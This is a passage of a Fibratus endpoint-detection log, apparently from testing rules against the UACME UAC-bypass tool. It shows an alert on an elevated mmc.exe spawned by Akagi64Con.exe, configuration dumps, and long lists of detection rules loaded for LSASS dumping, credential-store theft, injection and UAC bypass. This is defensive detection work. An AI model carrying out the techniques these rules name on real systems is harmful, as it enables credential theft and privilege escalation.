mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T16:03:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T16:03:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T16:03:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T16:35:50+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-03T16:35:50+01:00 level=info msg=bootstrapping with pid 2436. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T16:35:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true min-buffers=>16 enable-net=>true enable-registry=>true enable-dns=>false buffer-size=>512 enable-vamap=>true enable-handle=>false enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-threadpool=>false enable-mem=>true enable-thread=>true enable-image=>true max-buffers=>36 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100 level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s healthcheck=>true healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s template-name=>fibratus index-name=>fibratus enabled=>false healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1] amqp=>[ url=>amqp://localhost:5672 durable=>false enabled=>false routing-key=>fibratus vhost=>/ timeout=>5s delivery-mode=>transient exchange=>fibratus passive=>false tls-insecure-skip-verify=>false exchange-type=>topic] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false serializer=>json endpoints=>[] enable-gzip=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-03T16:35:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:36:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:36:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T16:36:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T16:36:36+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:36:36+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-03T16:36:36+01:00 level=info msg=bootstrapping with pid 10224. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T16:36:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s max-buffers=>36 enable-threadpool=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-audit-api=>true enable-registry=>true enable-mem=>true enable-fileio=>true enable-dns=>false enable-thread=>true enable-net=>true stack-enrichment=>true buffer-size=>512 min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false exchange-type=>topic delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false passive=>false vhost=>/ timeout=>5s exchange=>fibratus] http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] enable-gzip=>false timeout=>5s] elasticsearch=>[ timeout=>5s bulk-workers=>1 flush-period=>1s trace-log=>false template-name=>fibratus healthcheck=>true sniff=>false enabled=>false healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s skip-mmaps=>false skip-registry=>false excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-03T16:36:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:36:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:52:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T16:52:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T16:52:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T11:32:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T11:32:24+01:00 level=info msg=loading rule from 